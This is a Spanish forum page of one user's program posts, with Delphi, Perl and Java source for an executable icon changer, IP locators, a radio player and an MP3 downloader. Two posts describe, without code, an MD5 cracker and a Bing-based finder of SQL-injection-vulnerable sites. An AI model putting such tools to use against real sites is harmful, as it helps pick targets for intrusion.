Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#121
Delphi / [Delphi] DH Icon Changer 0.5
Abril 11, 2014, 01:36:13 PM
Version final de este programa para cambiarle el icono a cualquier programa (eso creo).

Una imagen :



El codigo.

Código: delphi

// DH Icon Changer 0.5
// (C) Doddy Hackman 2014
// Based on IconChanger By Chokstyle
// Thanks to Chokstyle

unit icon;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, madRes, Vcl.StdCtrls,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, about;

type
  TForm1 = class(TForm)
    Image1: TImage;
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    OpenDialog1: TOpenDialog;
    StatusBar1: TStatusBar;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    Button2: TButton;
    GroupBox4: TGroupBox;
    Button3: TButton;
    Button4: TButton;
    Button5: TButton;
    Edit2: TEdit;
    Image2: TImage;
    OpenDialog2: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Edit1.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog2.Execute then
  begin
    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
    Edit2.Text := OpenDialog2.FileName;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  op: string;
  change: dword;
  valor: string;

begin

  valor := IntToStr(128);

  op := InputBox('Backup', 'Backup ?', 'Yes');

  if op = 'Yes' then
  begin
    CopyFile(PChar(Edit1.Text), PChar(ExtractFilePath(Application.ExeName) +
      'backup' + ExtractFileExt(Edit1.Text)), True);
  end;

  try
    begin
      change := BeginUpdateResourceW(PWideChar(wideString(Edit1.Text)), false);
      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
        PWideChar(wideString(Edit2.Text)));
      EndUpdateResourceW(change, false);
      StatusBar1.Panels[0].Text := '[+] Changed !';
      Form1.StatusBar1.Update;
    end;
  except
    begin
      StatusBar1.Panels[0].Text := '[-] Error';
      Form1.StatusBar1.Update;

    end;
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
  Form1.Close();
  Form2.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#122
Delphi / [Delphi] LocateIP 0.5
Abril 04, 2014, 03:15:56 PM
Version final de este programa para localizar la IP y DNS de una pagina.

Una imagen :



El codigo :

Código: delphi

// LocateIP 0.5
// (C) Doddy Hackman 2014
// Credits :
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/
// Thanks to whatismyipaddress.com , www.melissadata.com , www.ip-adress.com

unit locate;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  IdMultipartFormData, Vcl.Imaging.pngimage, Vcl.ExtCtrls;

type
  TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    Edit1: TEdit;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Edit2: TEdit;
    Edit3: TEdit;
    Edit4: TEdit;
    StatusBar1: TStatusBar;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    GroupBox3: TGroupBox;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  regex: TPerlRegEx;
  par: TIdMultiPartFormDataStream;
  rta: string;
  z: integer;

begin

  regex := TPerlRegEx.Create();

  par := TIdMultiPartFormDataStream.Create;
  par.AddFormField('DOMAINNAME', Edit1.text);

  StatusBar1.Panels[0].text := '[+] Getting IP ...';
  Form1.StatusBar1.Update;

  rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

  regex.regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  regex.Subject := rta;

  if regex.Match then
  begin
    Edit1.text := regex.Groups[2];

    StatusBar1.Panels[0].text := '[+] Locating ...';
    Form1.StatusBar1.Update;

    rta := IdHTTP1.Get
      ('http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
      Edit1.text);

    regex.regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit2.text := regex.Groups[2];
    end
    else
    begin
      Edit2.text := 'Not Found';
    end;

    regex.regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit3.text := regex.Groups[2];
    end
    else
    begin
      Edit3.text := 'Not Found';
    end;

    regex.regex := 'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
    regex.Subject := rta;

    if regex.Match then
    begin
      Edit4.text := regex.Groups[2];
    end
    else
    begin
      Edit4.text := 'Not Found';
    end;

    StatusBar1.Panels[0].text := '[+] Getting DNS ...';
    Form1.StatusBar1.Update;

    ListBox1.Items.Clear;

    rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + Edit1.text);

    regex.regex := 'whois\/(.*?)\">Whois';
    regex.Subject := rta;

    while regex.MatchAgain do
    begin
      for z := 1 to regex.GroupCount do
        ListBox1.Items.Add(regex.Groups[z]);
    end;

  end
  else
  begin
    StatusBar1.Panels[0].text := '[-] Error';
    Form1.StatusBar1.Update;
  end;

  StatusBar1.Panels[0].text := '[+] Finished';
  Form1.StatusBar1.Update;

  regex.Free;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#123
Perl / [Perl] Radio X 0.4
Marzo 28, 2014, 12:29:07 PM
Actualice mi programa en perl llamado "Radio X" debido a que las emisoras no me gustaban , asi que actualice el hash con 31 estaciones , todas de diferentes generos , aunque la unica que siempre escucho siempre es la de musica clasica.

Aclaracion de dependencia :

Aclaro que necesitan bajar el mplayer , esta el link de descarga en el script , una vez que lo tengan descargado y descomprimido creen una carpeta llamada
"mplayer" y copian todos los archivos del archivo descomprimido en la carpeta recien creada , todo esto tiene que ser en el mismo directorio donde este el script.

El codigo :

Código: perl

#!usr/bin/perl
#Radio X
#Version 0.4
#(C) Doddy Hackman 2014
#
#Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
#

use Cwd;

my @emisoras = (

    {},

    {

        "nombre" => "idobi Radio",
        "genero" => "Alternative",
        "link"   => "http://69.46.88.21:80"

    },

    {

        "nombre" => "BLUES RADIO (1.FM TM)",
        "genero" => "Blues",
        "link"   => "http://205.164.35.58:80"

    },

    {

        "nombre" => "Venice Classic Radio Italia",
        "genero" => "Classical",
        "link"   => "http://174.36.206.197:8000"

    },

    {

        "nombre" => "100hitz - New Country",
        "genero" => "Country",
        "link"   => "http://69.4.234.186:9210"

    },

    {

        "nombre" => "RADIO 7 - POLNOCNE",
        "genero" => "Decades",
        "link"   => "http://94.23.36.107:443"

    },

    {

        "nombre" => "COOLfahrenheit 93",
        "genero" => "Easy Listening",
        "link"   => "http://203.150.225.77:8400"

    },

    {

        "nombre" => "Ibiza Global Radio",
        "genero" => "Electronic",
        "link"   => "http://198.50.197.161:8024"

    },

    {

        "nombre" => "HBR1.com - I.D.M. Tranceponder",
        "genero" => "Trance",
        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "COOL radio - Beograd",
        "genero" => "Folk",
        "link"   => "http://176.9.30.66:80"

    },

    {

        "nombre" => "HPR4",
        "genero" => "Inspirational",
        "link"   => "http://50.7.77.179:8024"

    },

    {

        "nombre" => "Radio Carsija - Melli",
        "genero" => "International",
        "link"   => "http://80.237.153.95:19406"

    },

    {

        "nombre" => "TheJazzGroove.com",
        "genero" => "Jazz",
        "link"   => "http://199.180.72.2:8015"

    },

    {

        "nombre" => "Paisa Estereo",
        "genero" => "Latin",
        "link"   => "http://199.217.118.10:7094"

    },

    {

        "nombre" => "RockRadio1.Com",
        "genero" => "Metal",
        "link"   => "http://77.74.192.50:8000"

    },

    {

        "nombre" => "Adom 106.3FM",
        "genero" => "Misc",
        "link"   => "http://67.159.60.45:8100"

    },

    {

        "nombre" => "Healing",
        "genero" => "New Age",
        "link"   => "http://222.122.178.183:11070"

    },

    {

        "nombre" => "RADIO SOUND POP",
        "genero" => "Pop",
        "link"   => "http://99.198.118.250:8076"

    },

    {

        "nombre" => "Latido 90.1 FM",
        "genero" => "Public Radio",
        "link"   => "http://64.251.21.48:42000"

    },

    {

        "nombre" => "Radio Mandela",
        "genero" => "Funk",
        "link"   => "http://184.154.150.93:9010"

    },

    {

        "nombre" => "Boneyaad Radio",
        "genero" => "Rap",
        "link"   => "http://69.175.103.226:8180"

    },

    {

        "nombre" => "Reggae141.com",
        "genero" => "Reggae",
        "link"   => "http://184.107.197.154:8002"

    },

    {

        "nombre" => "Classic Rock 915",
        "genero" => "Rock",
        "link"   => "http://117.53.175.113:15018"

    },

    {

        "nombre" => "181.fm - Rock 181 (Active Rock)",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14008"

    },

    {

        "nombre" => "181.FM - The Buzz",
        "genero" => "Rock",
        "link"   => "http://108.61.73.119:14126"

    },

    {

        "nombre" => "181.FM - Good Time Oldies",
        "genero" => "Rock",
        "link"   => "http://108.61.73.118:14046"

    },

    {

        "nombre" => "Top40",
        "genero" => "Pop Dance R&B Rock",
        "link"   => "http://95.141.24.79:80"

    },

    {

        "nombre" => "MUSIK.ORIENTAL",
        "genero" => "Seasonal and Holiday",
        "link"   => "http://193.34.51.40:80"

    },

    {

        "nombre" => "NOVA 100.3",
        "genero" => "Soundtracks",
        "link"   => "http://117.53.175.113:15010"

    },

    {

        "nombre" => "Alex Jones - Infowars.com",
        "genero" => "Talk",
        "link"   => "http://50.7.130.109:80"

    },

    {

        "nombre" => "illusive Radio Punta",
        "genero" => "Themes",
        "link"   => "http://38.96.148.141:9996"

    }

);

$SIG{INT} = \&retorno;

chdir( getcwd() . "/mplayer/" );

menu();

sub retorno {
    print "\n\n[+] Press any key for return to the menu\n\n";
    <stdin>;
    clean();
    menu();
}

sub menu {

    head();

    print "\n\n[+] Listing ["
      . int( @emisoras - 1 ) . "] "
      . "stations found ...\n";

    for my $em ( 1 .. @emisoras - 1 ) {

        print "\n[+] ID : " . $em . "\n";
        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
        print "[+] Type : " . $emisoras[$em]->{genero} . "\n";

        #print "[$em] - ".$emisoras[$em]->{genero}."\n";

    }

    print "\n[+] Write exit to go out\n";

    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "exit" ) {
        copyright();
    }

    if ( $op =~ /\d+/ ) {
        print "\n[!] Listening : " . $emisoras[$op]->{link} . " ...\n\n";
        system("mplayer $emisoras[$op]->{link}");
    }

    copyright();

}

sub head {

    clean();

    print qq(


@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @ 
@@@@@   @   @  @    @  @  @    @       @   
@    @  @   @  @    @  @  @    @      @ @ 
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @

);

}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n\n";
    <stdin>;
    exit(1);
}

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

#The End ?



Un ejemplo de uso

Código: text




@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @
@@@@@   @   @  @    @  @  @    @       @
@    @  @   @  @    @  @  @    @      @ @
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @



[+] Listing [31] stations found ...

[+] ID : 1
[+] Name : idobi Radio
[+] Type : Alternative

[+] ID : 2
[+] Name : BLUES RADIO (1.FM TM)
[+] Type : Blues

[+] ID : 3
[+] Name : Venice Classic Radio Italia
[+] Type : Classical

[+] ID : 4
[+] Name : 100hitz - New Country
[+] Type : Country

[+] ID : 5
[+] Name : RADIO 7 - POLNOCNE
[+] Type : Decades

[+] ID : 6
[+] Name : COOLfahrenheit 93
[+] Type : Easy Listening

[+] ID : 7
[+] Name : Ibiza Global Radio
[+] Type : Electronic

[+] ID : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Type : Trance

[+] ID : 9
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 10
[+] Name : COOL radio - Beograd
[+] Type : Folk

[+] ID : 11
[+] Name : HPR4
[+] Type : Inspirational

[+] ID : 12
[+] Name : Radio Carsija - Melli
[+] Type : International

[+] ID : 13
[+] Name : TheJazzGroove.com
[+] Type : Jazz

[+] ID : 14
[+] Name : Paisa Estereo
[+] Type : Latin

[+] ID : 15
[+] Name : RockRadio1.Com
[+] Type : Metal

[+] ID : 16
[+] Name : Adom 106.3FM
[+] Type : Misc

[+] ID : 17
[+] Name : Healing
[+] Type : New Age

[+] ID : 18
[+] Name : RADIO SOUND POP
[+] Type : Pop

[+] ID : 19
[+] Name : Latido 90.1 FM
[+] Type : Public Radio

[+] ID : 20
[+] Name : Radio Mandela
[+] Type : Funk

[+] ID : 21
[+] Name : Boneyaad Radio
[+] Type : Rap

[+] ID : 22
[+] Name : Reggae141.com
[+] Type : Reggae

[+] ID : 23
[+] Name : Classic Rock 915
[+] Type : Rock

[+] ID : 24
[+] Name : 181.fm - Rock 181 (Active Rock)
[+] Type : Rock

[+] ID : 25
[+] Name : 181.FM - The Buzz
[+] Type : Rock

[+] ID : 26
[+] Name : 181.FM - Good Time Oldies
[+] Type : Rock

[+] ID : 27
[+] Name : Top40
[+] Type : Pop Dance R&B Rock

[+] ID : 28
[+] Name : MUSIK.ORIENTAL
[+] Type : Seasonal and Holiday

[+] ID : 29
[+] Name : NOVA 100.3
[+] Type : Soundtracks

[+] ID : 30
[+] Name : Alex Jones - Infowars.com
[+] Type : Talk

[+] ID : 31
[+] Name : illusive Radio Punta
[+] Type : Themes

[+] Write exit to go out

[+] Option : 3

[!] Listening : http://174.36.206.197:8000 ...

MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://174.36.206.197:8000.
Connecting to server 174.36.206.197[174.36.206.197]: 8000...
Name   : Venice Classic Radio Italia
Genre  : Classical
Website: http://www.veniceclassicradio.eu/
Public : yes
Bitrate: 128kbit/s
Cache size set to 320 KBytes
Cache fill:  0.00% (0 bytes)   No bind found for key ''.

Cache fill:  7.50% (24576 bytes)
ICY Info: StreamTitle='Frederic Chopin (1810-1849) - 'Allegro de concert' per pi
anoforte in la Maggiore Op.46 (11:37)  {+info: veniceclassicradio.eu}';StreamUrl
='';
Cache fill: 17.50% (57344 bytes)
Audio file file format detected.
==========================================================================
Opening audio decoder: [mp3lib] MPEG layer-2, layer-3
mpg123: Can't rewind stream by 154 bits!
AUDIO: 44100 Hz, 2 ch, s16le, 128.0 kbit/9.07% (ratio: 16000->176400)
Selected audio codec: [mp3] afm: mp3lib (mp3lib MPEG layer-2, layer-3)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...

ICY Info: StreamTitle='Mauro Giuliani (1781-1829) - Variazioni su 'Deh! Calma, o
h ciel!' per chitarra e quartetto (08:00)  {+info: veniceclassicradio.eu}';Strea
mUrl='';

ICY Info: StreamTitle='Johann Sebastian Bach (1685-1750) - 'Il clavicembalo ben
temperato' - Libro I - Praeludium et Fuga in si bemolle Maggiore BWV866 (02:42)
{+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Antonio Palella (1692-1761) - Concerto a 4  in sol Maggio
re (12:42)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Anton Reicha (1770-1836) - Sonata per fagotto e pianofort
e (16:19)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Gioachino Rossini (1792-1868) - Sonata per archi in mi be
molle Maggiore No.5 (14:51)  {+info: veniceclassicradio.eu}';StreamUrl='';

ICY Info: StreamTitle='Fernand De La Tombelle (1854-1928) - Andante espressivo p
er violoncello e pianoforte (04:39)  {+info: veniceclassicradio.eu}';StreamUrl='
';

ICY Info: StreamTitle='Franz Schubert (1797-1828) - Sinfonia in re Maggiore No.3
D200 (23:09)  {+info: veniceclassicradio.eu}';StreamUrl='';



Eso es todo.
#124
Java / [Java] MD5 Cracker 1.0
Marzo 21, 2014, 06:03:51 PM
Un simple programa en Java para crackear un hash MD5.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#125
Java / [Java] BingHackTool 1.0
Marzo 14, 2014, 12:17:39 PM
Un simple programa en Java para buscar paginas vulnerables a SQLI usando Bing.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#126
Java / [Java] LocateIP 1.0
Marzo 07, 2014, 02:54:42 PM
Un simple programa en java para localizar una pagina.

Una imagen :



Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#127
Hola , estoy queriendo hacer algo asi en photoshop , me refiero solo a letra del logo :



¿ Alguien sabe cual es el efecto de la letra o el nombre de la font ?
#128
Delphi / [Delphi] DH Player 0.5
Febrero 28, 2014, 12:35:12 PM
Un reproductor de musica , en esta version le agregue un buscador usando mp3skull para buscar y descargar canciones , para despues guardarlas en una carpeta llamada "downloads" y escucharlas cuando quieran.

Una imagen :



El codigo :

Código: delphi

// DH Player 0.5
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm

unit mp3player;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit, sPageControl,
  sStatusBar, sButton, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, sListView, acPNG, sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    Timer1: TTimer;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox4: TsGroupBox;
    MediaPlayer1: TMediaPlayer;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox1: TsGroupBox;
    sProgressBar1: TsProgressBar;
    sTabSheet2: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sEdit2: TsEdit;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    sListBox4: TsListBox;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    sTabSheet3: TsTabSheet;
    sGroupBox7: TsGroupBox;
    MediaPlayer2: TMediaPlayer;
    sGroupBox8: TsGroupBox;
    sListBox5: TsListBox;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sProgressBar2: TsProgressBar;
    sProgressBar3: TsProgressBar;
    Timer2: TTimer;

    IdHTTP2: TIdHTTP;

    sTabSheet4: TsTabSheet;
    sGroupBox11: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sListView1DblClick(Sender: TObject);
    procedure sListBox5DblClick(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar1.Max := 0;
  sProgressBar2.Max := 0;
  sProgressBar3.Max := 0;

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'fm';
  sSkinManager1.Active := True;

  begin

    dir := ExtractFilePath(Application.ExeName) + '/downloads';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    sListBox5.Clear;

    cantidad := FindFirst(ExtractFilePath(Application.ExeName)
        + '/downloads/' + '*.mp3', faAnyFile, search);

    while cantidad = 0 do
    begin
      if FileExists(dir + '/' + search.name) then
      begin
        sListBox5.Items.Add(search.name);
      end;
      cantidad := FindNext(search);
    end;
    FindClose(search);
  end;

end;

procedure TForm1.IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar2.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar2.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;
begin
  sProgressBar2.Position := 0;

  sListBox5.Clear;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  cantidad := FindFirst(ExtractFilePath(Application.ExeName)
      + '/downloads/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox5.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.L1Click(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;

begin

  SelectDirectory('Select a folder', '', dir);

  sListBox1.Clear;

  sEdit1.Text := dir;
  cantidad := FindFirst(dir + '/' + '*.mp3', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox1.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  sEdit1.Text := '';
  sProgressBar1.Max := 0;
  sListBox1.Clear;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  cancion: string;
  code: string;
  nombre: string;
  datos: string;
  link: string;
  i: Integer;
begin

  sListBox2.Clear;
  sListBox3.Clear;
  sListBox4.Clear;
  sListView1.Clear;

  cancion := sEdit2.Text;
  cancion := StringReplace(cancion, ' ', '-', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ... ';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://mp3skull.com/mp3/' + cancion + '.html');

  PerlRegEx1.Regex := '<div style="font-size:15px;"><b>(.*)<\/b><\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[1];
    sListBox2.Items.Add(nombre);
  end;

  PerlRegEx1.Regex := '<!-- info mp3 here -->\s+(.*?)<\/div>';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    datos := PerlRegEx1.SubExpressions[1];
    datos := StringReplace(datos, '<br \/>', ' ', [rfReplaceAll, rfIgnoreCase]);
    datos := StringReplace(datos, '<br />', ' ', [rfReplaceAll, rfIgnoreCase]);
    sListBox3.Items.Add(datos);
  end;

  PerlRegEx1.Regex := '<a href=\"(.*)\.mp3\"';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    link := PerlRegEx1.SubExpressions[1] + '.mp3';
    sListBox4.Items.Add(link);
  end;

  for i := 0 to sListBox2.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox2.Items[i];
      SubItems.Add(sListBox3.Items[i]);
    end;
  end;

  sStatusBar1.Panels[0].Text := '[+] Finished ';
  sStatusBar1.Update;

end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin

  sProgressBar1.Max := 0;

  MediaPlayer1.Close;
  MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
    [sListBox1.ItemIndex];
  MediaPlayer1.Open;

  sProgressBar1.Max := MediaPlayer1.Length;
end;

procedure TForm1.sListBox5DblClick(Sender: TObject);
begin

  MediaPlayer2.Close;
  MediaPlayer2.FileName := ExtractFilePath(Application.ExeName)
    + '/downloads' + '/' + sListBox5.Items.Strings[sListBox5.ItemIndex];
  MediaPlayer2.Open;

  sProgressBar3.Max := MediaPlayer2.Length;

end;

procedure TForm1.sListView1DblClick(Sender: TObject);
var
  FileName: string;
  nombrefinal: string;
  archivobajado: TFileStream;
  url: string;

begin

  url := sListBox4.Items[sListView1.Selected.Index];

  nombrefinal := getfilename(url);

  archivobajado := TFileStream.Create(ExtractFilePath(Application.ExeName)
      + '/downloads' + '/' + nombrefinal, fmCreate);

  try

    begin
      DeleteFile(nombrefinal);
      IdHTTP2.Get(url, archivobajado);
      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
      Form1.sStatusBar1.Update;
      archivobajado.Free;
    end;
  except
    sStatusBar1.Panels[0].Text := '[-] Failed download';
    Form1.sStatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if sProgressBar1.Max <> 0 then
  begin
    sProgressBar1.Position := MediaPlayer1.Position;
  end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  if sProgressBar3.Max <> 0 then
  begin
    sProgressBar3.Position := MediaPlayer2.Position;
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#129
Java / Generar Jar con librerias incluidas
Febrero 26, 2014, 05:56:42 PM
Bueno , hice este videotutorial porque queria tener un solo archivo jar en vez de tener las clasicas dependencias en la carpeta lib , este problema lo resolvi gracias a este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

El video :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

El manual en si :

Para empezar tenemos que modificar el archivo build.xml del programa al que quieren hacerle esto , en mi caso voy a buscar en el directorio de mi proyecto llamado "locateip_grafico" que es un programa que hice hace poco , la ruta en mi caso es esta : C:\Documents and Settings\Doddy\Mis documentos\NetBeansProjects\locateip_grafico
